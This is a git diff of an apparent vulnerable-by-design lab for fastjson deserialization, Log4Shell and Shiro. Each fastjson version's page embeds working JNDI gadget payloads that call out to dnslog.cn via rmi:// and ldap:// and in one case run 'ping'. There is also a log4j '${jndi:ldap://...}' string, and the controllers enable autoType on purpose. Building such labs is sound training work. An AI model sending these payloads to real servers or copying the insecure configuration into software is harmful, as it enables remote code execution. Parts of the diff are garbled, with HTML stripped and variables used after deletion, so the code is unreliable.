"{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"); + } @PostMapping("/fastjson1.2.59-process") public String fastjson1_2_59_process(@RequestBody String data) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); - JSONObject jsonObject = JSONObject.parseObject(data); - // 处理 jsonObject return "Processed: " + jsonObject; } + private String buildPage(String title, String processPath, String[] attackPayloads, String normalPayload) { + StringBuilder attackButtons = new StringBuilder(); + for (int i = 0; i < attackPayloads.length; i++) attackButtons.append(""); + return page(title, processPath, attackPayloads, normalPayload, attackButtons.toString()); + } + + private String page(String title, String processPath, String[] attackPayloads, String normalPayload, String attackButtons) { + return "" + title + "" + styleBlock() + "

" + title + "

可以先填充 vul.py 中的攻击或正常样例,再手动修改 payload,然后发送到 " + processPath + "

" + attackButtons + "
等待发送请求...
"; + } + + private String styleBlock() { return ""; } + private String toJsArray(String[] payloads) { StringBuilder b=new StringBuilder("["); for(int i=0;i0)b.append(","); b.append("'").append(escapeForJs(payloads[i])).append("'"); } return b.append("]").toString(); } + private String escapeForJs(String value) { return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); } + private String escapeHtml(String value) { return value.replace("&", "&").replace("<", "<").replace(">", ">"); } } diff --git a/fastjson-1.2.60/fastjson-1.2.60.iml b/fastjson-1.2.60/fastjson-1.2.60.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/fastjson-1.2.60/fastjson-1.2.60.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/fastjson-1.2.60/src/main/java/myapp/FastjsonController.java b/fastjson-1.2.60/src/main/java/myapp/FastjsonController.java index eb322bb..dd85033 100644 --- a/fastjson-1.2.60/src/main/java/myapp/FastjsonController.java +++ b/fastjson-1.2.60/src/main/java/myapp/FastjsonController.java @@ -2,18 +2,43 @@ import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.ParserConfig; -import org.springframework.web.bind.annotation.*; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; @RestController public class FastjsonController { + @GetMapping(value = {"/", "/fastjson-1.2.60"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return buildPage("fastjson-1.2.60 靶场测试页", "/fastjson1.2.60-process", new String[]{ + "{\"@type\":\"oracle.jdbc.connector.OracleManagedConnectionFactory\",\"xaDataSourceName\":\"rmi://fastjson1.2.60-process.dnslog.cn/ExportObject\"}", + "{\"@type\":\"org.apache.commons.configuration.JNDIConfiguration\",\"prefix\":\"rmi://fastjson1.2.60-process.dnslog.cn/ExportObject\"}" + }, "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"); + } @PostMapping("/fastjson1.2.60-process") public String fastjson1_2_60_process(@RequestBody String data) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); - JSONObject jsonObject = JSONObject.parseObject(data); - // 处理 jsonObject return "Processed: " + jsonObject; } + + private String buildPage(String title, String processPath, String[] attackPayloads, String normalPayload) { + StringBuilder attackButtons = new StringBuilder(); + for (int i = 0; i < attackPayloads.length; i++) attackButtons.append(""); + return page(title, processPath, attackPayloads, normalPayload, attackButtons.toString()); + } + + private String page(String title, String processPath, String[] attackPayloads, String normalPayload, String attackButtons) { + return "" + title + "" + styleBlock() + "

" + title + "

可以先填充 vul.py 中的攻击或正常样例,再手动修改 payload,然后发送到 " + processPath + "

" + attackButtons + "
等待发送请求...
"; + } + + private String styleBlock() { return ""; } + private String toJsArray(String[] payloads) { StringBuilder b=new StringBuilder("["); for(int i=0;i0)b.append(","); b.append("'").append(escapeForJs(payloads[i])).append("'"); } return b.append("]").toString(); } + private String escapeForJs(String value) { return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); } + private String escapeHtml(String value) { return value.replace("&", "&").replace("<", "<").replace(">", ">"); } } diff --git a/fastjson-1.2.61/fastjson-1.2.61.iml b/fastjson-1.2.61/fastjson-1.2.61.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/fastjson-1.2.61/fastjson-1.2.61.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/fastjson-1.2.61/src/main/java/myapp/FastjsonController.java b/fastjson-1.2.61/src/main/java/myapp/FastjsonController.java index c3d74c4..15b2e49 100644 --- a/fastjson-1.2.61/src/main/java/myapp/FastjsonController.java +++ b/fastjson-1.2.61/src/main/java/myapp/FastjsonController.java @@ -2,18 +2,43 @@ import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.ParserConfig; -import org.springframework.web.bind.annotation.*; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; @RestController public class FastjsonController { + @GetMapping(value = {"/", "/fastjson-1.2.61"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return buildPage("fastjson-1.2.61 靶场测试页", "/fastjson1.2.61-process", new String[]{ + "{\"@type\":\"org.apache.commons.proxy.provider.remoting.SessionBeanProvider\",\"jndiName\":\"rmi://fastjson1.2.61-process.dnslog.cn/Exploit\"}", + "{\"@type\":\"org.apache.commons.proxy.provider.remoting.SessionBeanProvider\",\"jndiName\":\"ldap://fastjson1.2.61-process.dnslog.cn/Exploit\",\"Object\":\"a\"}" + }, "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"); + } @PostMapping("/fastjson1.2.61-process") public String fastjson1_2_61_process(@RequestBody String data) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); - JSONObject jsonObject = JSONObject.parseObject(data); - // 处理 jsonObject return "Processed: " + jsonObject; } + + private String buildPage(String title, String processPath, String[] attackPayloads, String normalPayload) { + StringBuilder attackButtons = new StringBuilder(); + for (int i = 0; i < attackPayloads.length; i++) attackButtons.append(""); + return page(title, processPath, attackPayloads, normalPayload, attackButtons.toString()); + } + + private String page(String title, String processPath, String[] attackPayloads, String normalPayload, String attackButtons) { + return "" + title + "" + styleBlock() + "

" + title + "

可以先填充 vul.py 中的攻击或正常样例,再手动修改 payload,然后发送到 " + processPath + "

" + attackButtons + "
等待发送请求...
"; + } + + private String styleBlock() { return ""; } + private String toJsArray(String[] payloads) { StringBuilder b=new StringBuilder("["); for(int i=0;i0)b.append(","); b.append("'").append(escapeForJs(payloads[i])).append("'"); } return b.append("]").toString(); } + private String escapeForJs(String value) { return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); } + private String escapeHtml(String value) { return value.replace("&", "&").replace("<", "<").replace(">", ">"); } } diff --git a/fastjson-1.2.62/fastjson-1.2.62.iml b/fastjson-1.2.62/fastjson-1.2.62.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/fastjson-1.2.62/fastjson-1.2.62.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/fastjson-1.2.62/src/main/java/myapp/FastjsonController.java b/fastjson-1.2.62/src/main/java/myapp/FastjsonController.java index 2a96249..65047c1 100644 --- a/fastjson-1.2.62/src/main/java/myapp/FastjsonController.java +++ b/fastjson-1.2.62/src/main/java/myapp/FastjsonController.java @@ -2,18 +2,43 @@ import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.ParserConfig; -import org.springframework.web.bind.annotation.*; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; @RestController public class FastjsonController { + @GetMapping(value = {"/", "/fastjson-1.2.62"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return buildPage("fastjson-1.2.62 靶场测试页", "/fastjson1.2.62-process", new String[]{ + "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"ldap://fastjson1.2.62-process.dnslog.cn/Exploit\"}", + "{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://fastjson1.2.62-process.dnslog.cn/Exploit\"}}" + }, "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"); + } @PostMapping("/fastjson1.2.62-process") public String fastjson1_2_62_process(@RequestBody String data) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); - JSONObject jsonObject = JSONObject.parseObject(data); - // 处理 jsonObject return "Processed: " + jsonObject; } + + private String buildPage(String title, String processPath, String[] attackPayloads, String normalPayload) { + StringBuilder attackButtons = new StringBuilder(); + for (int i = 0; i < attackPayloads.length; i++) attackButtons.append(""); + return page(title, processPath, attackPayloads, normalPayload, attackButtons.toString()); + } + + private String page(String title, String processPath, String[] attackPayloads, String normalPayload, String attackButtons) { + return "" + title + "" + styleBlock() + "

" + title + "

可以先填充 vul.py 中的攻击或正常样例,再手动修改 payload,然后发送到 " + processPath + "

" + attackButtons + "
等待发送请求...
"; + } + + private String styleBlock() { return ""; } + private String toJsArray(String[] payloads) { StringBuilder b=new StringBuilder("["); for(int i=0;i0)b.append(","); b.append("'").append(escapeForJs(payloads[i])).append("'"); } return b.append("]").toString(); } + private String escapeForJs(String value) { return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); } + private String escapeHtml(String value) { return value.replace("&", "&").replace("<", "<").replace(">", ">"); } } diff --git a/fastjson-1.2.66/fastjson-1.2.66.iml b/fastjson-1.2.66/fastjson-1.2.66.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/fastjson-1.2.66/fastjson-1.2.66.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/fastjson-1.2.66/src/main/java/myapp/FastjsonController.java b/fastjson-1.2.66/src/main/java/myapp/FastjsonController.java index 5c0d844..d079f74 100644 --- a/fastjson-1.2.66/src/main/java/myapp/FastjsonController.java +++ b/fastjson-1.2.66/src/main/java/myapp/FastjsonController.java @@ -2,18 +2,47 @@ import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.ParserConfig; -import org.springframework.web.bind.annotation.*; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; @RestController public class FastjsonController { + @GetMapping(value = {"/", "/fastjson-1.2.66"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return buildPage("fastjson-1.2.66 靶场测试页", "/fastjson1.2.66-process", new String[]{ + "{\"@type\":\"com.caucho.config.types.ResourceRef\",\"LookupName\":\"rmi://fastjson1.2.66-process.dnslog.cn/Exploit\"}", + "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\",\"jndiNames\":\"ldap://fastjson1.2.66-process.dnslog.cn/Exploit\"}", + "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"ldap://fastjson1.2.66-process.dnslog.cn/Exploit\"}", + "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://fastjson1.2.66-process.dnslog.cn/Exploit\"}", + "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://fastjson1.2.66-process.dnslog.cn/Exploit\"}", + "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"ldap://fastjson1.2.66-process.dnslog.cn/Exploit\"], \"Realms\":[\"\"]}" + }, "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"); + } @PostMapping("/fastjson1.2.66-process") public String fastjson1_2_66_process(@RequestBody String data) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); - JSONObject jsonObject = JSONObject.parseObject(data); - // 处理 jsonObject return "Processed: " + jsonObject; } + + private String buildPage(String title, String processPath, String[] attackPayloads, String normalPayload) { + StringBuilder attackButtons = new StringBuilder(); + for (int i = 0; i < attackPayloads.length; i++) attackButtons.append(""); + return page(title, processPath, attackPayloads, normalPayload, attackButtons.toString()); + } + + private String page(String title, String processPath, String[] attackPayloads, String normalPayload, String attackButtons) { + return "" + title + "" + styleBlock() + "

" + title + "

可以先填充 vul.py 中的攻击或正常样例,再手动修改 payload,然后发送到 " + processPath + "

" + attackButtons + "
等待发送请求...
"; + } + + private String styleBlock() { return ""; } + private String toJsArray(String[] payloads) { StringBuilder b=new StringBuilder("["); for(int i=0;i0)b.append(","); b.append("'").append(escapeForJs(payloads[i])).append("'"); } return b.append("]").toString(); } + private String escapeForJs(String value) { return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); } + private String escapeHtml(String value) { return value.replace("&", "&").replace("<", "<").replace(">", ">"); } } diff --git a/fastjson-1.2.67/fastjson-1.2.67.iml b/fastjson-1.2.67/fastjson-1.2.67.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/fastjson-1.2.67/fastjson-1.2.67.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/fastjson-1.2.67/src/main/java/myapp/FastjsonController.java b/fastjson-1.2.67/src/main/java/myapp/FastjsonController.java index 7be127d..9c0eb0c 100644 --- a/fastjson-1.2.67/src/main/java/myapp/FastjsonController.java +++ b/fastjson-1.2.67/src/main/java/myapp/FastjsonController.java @@ -2,18 +2,43 @@ import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.ParserConfig; -import org.springframework.web.bind.annotation.*; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; @RestController public class FastjsonController { + @GetMapping(value = {"/", "/fastjson-1.2.67"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return buildPage("fastjson-1.2.67 靶场测试页", "/fastjson1.2.67-process", new String[]{ + "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\", \"jndiNames\":[\"ldap://fastjson1.2.67-process.dnslog.cn/Exploit\"], \"tm\": {\"$ref\":\"$.tm\"}}", + "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://fastjson1.2.67-process.dnslog.cn/Exploit\",\"instance\":{\"$ref\":\"$.instance\"}}" + }, "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"); + } @PostMapping("/fastjson1.2.67-process") public String fastjson1_2_67_process(@RequestBody String data) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); - JSONObject jsonObject = JSONObject.parseObject(data); - // 处理 jsonObject return "Processed: " + jsonObject; } + + private String buildPage(String title, String processPath, String[] attackPayloads, String normalPayload) { + StringBuilder attackButtons = new StringBuilder(); + for (int i = 0; i < attackPayloads.length; i++) attackButtons.append(""); + return page(title, processPath, attackPayloads, normalPayload, attackButtons.toString()); + } + + private String page(String title, String processPath, String[] attackPayloads, String normalPayload, String attackButtons) { + return "" + title + "" + styleBlock() + "

" + title + "

可以先填充 vul.py 中的攻击或正常样例,再手动修改 payload,然后发送到 " + processPath + "

" + attackButtons + "
等待发送请求...
"; + } + + private String styleBlock() { return ""; } + private String toJsArray(String[] payloads) { StringBuilder b=new StringBuilder("["); for(int i=0;i0)b.append(","); b.append("'").append(escapeForJs(payloads[i])).append("'"); } return b.append("]").toString(); } + private String escapeForJs(String value) { return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); } + private String escapeHtml(String value) { return value.replace("&", "&").replace("<", "<").replace(">", ">"); } } diff --git a/fastjson-1.2.68/fastjson-1.2.68.iml b/fastjson-1.2.68/fastjson-1.2.68.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/fastjson-1.2.68/fastjson-1.2.68.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/fastjson-1.2.68/src/main/java/myapp/FastjsonController.java b/fastjson-1.2.68/src/main/java/myapp/FastjsonController.java index 99b6104..5eccb5d 100644 --- a/fastjson-1.2.68/src/main/java/myapp/FastjsonController.java +++ b/fastjson-1.2.68/src/main/java/myapp/FastjsonController.java @@ -2,18 +2,43 @@ import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.ParserConfig; -import org.springframework.web.bind.annotation.*; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; @RestController public class FastjsonController { + @GetMapping(value = {"/", "/fastjson-1.2.68"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return buildPage("fastjson-1.2.68 靶场测试页", "/fastjson1.2.68-process", new String[]{ + "{\"@type\":\"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig\",\"healthCheckRegistry\":\"ldap://fastjson1.2.68-process.dnslog.cn/Calc\"}", + "{\"@type\":\"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"ldap://fastjson1.2.68-process.dnslog.cn/Calc\"}" + }, "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"); + } @PostMapping("/fastjson1.2.68-process") public String fastjson1_2_68_process(@RequestBody String data) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); - JSONObject jsonObject = JSONObject.parseObject(data); - // 处理 jsonObject return "Processed: " + jsonObject; } + + private String buildPage(String title, String processPath, String[] attackPayloads, String normalPayload) { + StringBuilder attackButtons = new StringBuilder(); + for (int i = 0; i < attackPayloads.length; i++) attackButtons.append(""); + return page(title, processPath, attackPayloads, normalPayload, attackButtons.toString()); + } + + private String page(String title, String processPath, String[] attackPayloads, String normalPayload, String attackButtons) { + return "" + title + "" + styleBlock() + "

" + title + "

可以先填充 vul.py 中的攻击或正常样例,再手动修改 payload,然后发送到 " + processPath + "

" + attackButtons + "
等待发送请求...
"; + } + + private String styleBlock() { return ""; } + private String toJsArray(String[] payloads) { StringBuilder b=new StringBuilder("["); for(int i=0;i0)b.append(","); b.append("'").append(escapeForJs(payloads[i])).append("'"); } return b.append("]").toString(); } + private String escapeForJs(String value) { return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); } + private String escapeHtml(String value) { return value.replace("&", "&").replace("<", "<").replace(">", ">"); } } diff --git a/fastjson-1.2.80/src/main/java/myapp/FastjsonController.java b/fastjson-1.2.80/src/main/java/myapp/FastjsonController.java index 69df658..7041ec8 100644 --- a/fastjson-1.2.80/src/main/java/myapp/FastjsonController.java +++ b/fastjson-1.2.80/src/main/java/myapp/FastjsonController.java @@ -3,27 +3,48 @@ import com.alibaba.fastjson.JSONException; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.ParserConfig; +import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController public class FastjsonController { + @GetMapping(value = {"/", "/fastjson-1.2.80"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return buildPage("fastjson-1.2.80 靶场测试页", "/fastjson1.2.80-process", new String[]{ + "{\"@type\": \"java.lang.Exception\",\"@type\": \"myapp.Poc\",\"name\": \"ping fastjson1.2.80-process.dnslog.cn\"}" + }, "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"); + } @PostMapping("/fastjson1.2.80-process") public String fastjson1_2_80_process(@RequestBody String data) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); try { JSONObject jsonObject = JSONObject.parseObject(data); - // 处理 jsonObject return "Processed: " + jsonObject; } catch (JSONException e) { - // 处理JSON解析异常 return "JSON解析异常: " + e.getMessage(); } catch (RuntimeException e) { - // 处理运行时异常 return "运行时异常: " + e.getMessage(); } } + + private String buildPage(String title, String processPath, String[] attackPayloads, String normalPayload) { + StringBuilder attackButtons = new StringBuilder(); + for (int i = 0; i < attackPayloads.length; i++) attackButtons.append(""); + return page(title, processPath, attackPayloads, normalPayload, attackButtons.toString()); + } + + private String page(String title, String processPath, String[] attackPayloads, String normalPayload, String attackButtons) { + return "" + title + "" + styleBlock() + "

" + title + "

可以先填充 vul.py 中的攻击或正常样例,再手动修改 payload,然后发送到 " + processPath + "

" + attackButtons + "
等待发送请求...
"; + } + + private String styleBlock() { return ""; } + private String toJsArray(String[] payloads) { StringBuilder b=new StringBuilder("["); for(int i=0;i0)b.append(","); b.append("'").append(escapeForJs(payloads[i])).append("'"); } return b.append("]").toString(); } + private String escapeForJs(String value) { return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); } + private String escapeHtml(String value) { return value.replace("&", "&").replace("<", "<").replace(">", ">"); } } diff --git a/fastjson-1.2.83/fastjson-1.2.83.iml b/fastjson-1.2.83/fastjson-1.2.83.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/fastjson-1.2.83/fastjson-1.2.83.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/fastjson-1.2.83/src/main/java/myapp/FastjsonController.java b/fastjson-1.2.83/src/main/java/myapp/FastjsonController.java index ba820f6..d4ee799 100644 --- a/fastjson-1.2.83/src/main/java/myapp/FastjsonController.java +++ b/fastjson-1.2.83/src/main/java/myapp/FastjsonController.java @@ -1,20 +1,33 @@ package myapp; import com.alibaba.fastjson.JSONObject; -import com.alibaba.fastjson.parser.ParserConfig; +import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController public class FastjsonController { + @GetMapping(value = {"/", "/fastjson-1.2.83"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return buildPage("fastjson-1.2.83 靶场测试页", "/fastjson1.2.83-process", new String[]{}, "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"); + } @PostMapping("/fastjson1.2.83-process") public String fastjson1_2_83_process(@RequestBody String data) { - JSONObject jsonObject = JSONObject.parseObject(data); - // 处理 jsonObject return "Processed: " + jsonObject; } + + private String buildPage(String title, String processPath, String[] attackPayloads, String normalPayload) { + String attackButtons = ""; + return "" + title + "" + styleBlock() + "

" + title + "

当前版本在 vul.py 中只有正常样例,你也可以手动修改 payload 后发送到 " + processPath + "

" + attackButtons + "
等待发送请求...
"; + } + + private String styleBlock() { return ""; } + private String escapeForJs(String value) { return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); } + private String escapeHtml(String value) { return value.replace("&", "&").replace("<", "<").replace(">", ">"); } } diff --git a/index/vul.py b/index/vul.py index a4ac897..174dac0 100644 --- a/index/vul.py +++ b/index/vul.py @@ -4,6 +4,14 @@ # 定义请求的配置 requests_config = { + 'shiro_1_2_4_normal': { + 'method': 'POST', + 'url': 'http://{}:9970/login'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'data': 'username=admin&password=admin123&rememberMe=true', + 'name': 'Apache Shiro 1.2.4 RememberMe鍙嶅簭鍒楁紡娲?CVE-2016-4437', + 'type': 'normal', + }, 'log4j2_attack': { 'name': 'Log4j2 远程代码执行漏洞(CVE-2021-44228)', 'method': 'POST', diff --git a/log4jvul/log4jvul.iml b/log4jvul/log4jvul.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/log4jvul/log4jvul.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/log4jvul/src/main/java/com/myapp/PlaygroundController.java b/log4jvul/src/main/java/com/myapp/PlaygroundController.java new file mode 100644 index 0000000..df4b349 --- /dev/null +++ b/log4jvul/src/main/java/com/myapp/PlaygroundController.java @@ -0,0 +1,28 @@ +package com.myapp; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class PlaygroundController { + + @GetMapping(value = {"/", "/playground"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + String attack = "name=${jndi:ldap://sectest-log4j2.dnslog.cn/a}"; + String normal = "name=1"; + return "log4jvul Playground" + style() + + "

log4jvul Playground

表单会发送到 /log4j2。可先填充攻击/正常表单,再手动修改后发送。

" + + "
等待发送请求...
" + + ""; + } + + private String style() { + return ""; + } + + private String esc(String value) { + return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); + } +} diff --git a/microservice-a-service/microservice-a-service.iml b/microservice-a-service/microservice-a-service.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/microservice-a-service/microservice-a-service.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/microservice-b-service/microservice-b-service.iml b/microservice-b-service/microservice-b-service.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/microservice-b-service/microservice-b-service.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/microservice-c-service/microservice-c-service.iml b/microservice-c-service/microservice-c-service.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/microservice-c-service/microservice-c-service.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/microservice-d-service/microservice-d-service.iml b/microservice-d-service/microservice-d-service.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/microservice-d-service/microservice-d-service.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/microservice-e-service/microservice-e-service.iml b/microservice-e-service/microservice-e-service.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/microservice-e-service/microservice-e-service.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/microservice-eureka-service/microservice-eureka-service.iml b/microservice-eureka-service/microservice-eureka-service.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/microservice-eureka-service/microservice-eureka-service.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/microservice-f-service/microservice-f-service.iml b/microservice-f-service/microservice-f-service.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/microservice-f-service/microservice-f-service.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/microservice-g-service/microservice-g-service.iml b/microservice-g-service/microservice-g-service.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/microservice-g-service/microservice-g-service.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/microservice-h-service/microservice-h-service.iml b/microservice-h-service/microservice-h-service.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/microservice-h-service/microservice-h-service.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/obj b/obj new file mode 100644 index 0000000000000000000000000000000000000000..b36830eb1c2a9e3d00be6ee0b6763cb00b33d270 GIT binary patch literal 1266 zcmb7EK~K~`6n>OlWf5f;<0f7RM?E+NfdH<_iX;S*MGc}MY)Bm1VYkpu>vXylG$fw9 zaxfvD^q?n=iSZX04<-^xJehFv=s^=bc=Dic+AiB@RBY0jW@g?u-}~P8`t&noeF10v zfD^%%ZDvS9Id>(MmdnZb{^vArxJI-%MY(A+aqZ2w?h`wkk2TOL(B&{^iHYmf4wx^Y zyRt$XR1c(O>oe3VRUjkRJtmQST4h~YYp%YB?}#RggU zL&TvTnG=-z%dT*kiI{Y){9*Cyg4eFDKeo!&TiZgynF=E6F`}Lz;@m>iQ^%2BzM+_> z)^5TkWJ6DpEB%Yya=;Dg3ZG2Wsl}O@g6V&~{pr-kc1DA?Djc;^JE#(={uj&83q%t0 zSFKW)l*aCy``)ov#v(!J0YC=xIe+kcPaE+mqZ+hVA#06`8tQty z`a72j9IYx$RbgxQb@mi^hN3KvoojJ5B!t|tJnr6ikB=B)gNvd1B^AGa= zX}hVjCZV&&WRfukC17z-4ECh>{@Kpkh5OAIkdVWem}Q_0coKEeP{Vvn!(JM z@E9>o?A3vx!9l_Tg3gkVVIed2uWD03y=c4G2x?q0Ywaw5gUx#}`>-qjpuudKjWWy)A)KKd)IP89L785kNeI F-cMLXqX+;1 literal 0 HcmV?d00001 diff --git a/shior-1.2.4/Dockerfile b/shior-1.2.4/Dockerfile new file mode 100644 index 0000000..fbf6d3b --- /dev/null +++ b/shior-1.2.4/Dockerfile @@ -0,0 +1,9 @@ +FROM wushangleon/java:jdk8u112_maven as builder + +COPY . /opt/shior +WORKDIR /opt/shior +RUN mvn package -DskipTests + +FROM wushangleon/java:jdk8u112 +COPY --from=builder /opt/shior/target/shior-1.2.4-1.0-SNAPSHOT.jar /opt/app.jar +CMD ["java", "-jar", "/opt/app.jar"] diff --git a/shior-1.2.4/Dockerfile_local b/shior-1.2.4/Dockerfile_local new file mode 100644 index 0000000..8880a5c --- /dev/null +++ b/shior-1.2.4/Dockerfile_local @@ -0,0 +1,3 @@ +FROM wushangleon/java:jdk8u112 +COPY target/shior-1.2.4-1.0-SNAPSHOT.jar /opt/app.jar +CMD ["java", "-jar", "/opt/app.jar"] diff --git a/shior-1.2.4/pom.xml b/shior-1.2.4/pom.xml new file mode 100644 index 0000000..dd5e52d --- /dev/null +++ b/shior-1.2.4/pom.xml @@ -0,0 +1,62 @@ + + + 4.0.0 + + org.example + 